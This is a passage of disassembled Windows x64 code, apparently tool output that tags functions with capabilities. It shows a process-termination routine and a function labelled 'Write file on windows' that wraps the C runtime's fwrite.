mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x1400b4e37
Capabilities:
Write file on windows

Disassembly:
jmp 0x1400eb1f0
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x14055d1d4]
call fcn.1400b5fb2
nop
mov r9, qword [rbp + 0xf8]
mov r8, qword [rbp + 0xf0]
mov rdx, qword [rbp + 0xe8]
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.ucrtbased.dll_fwrite]
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret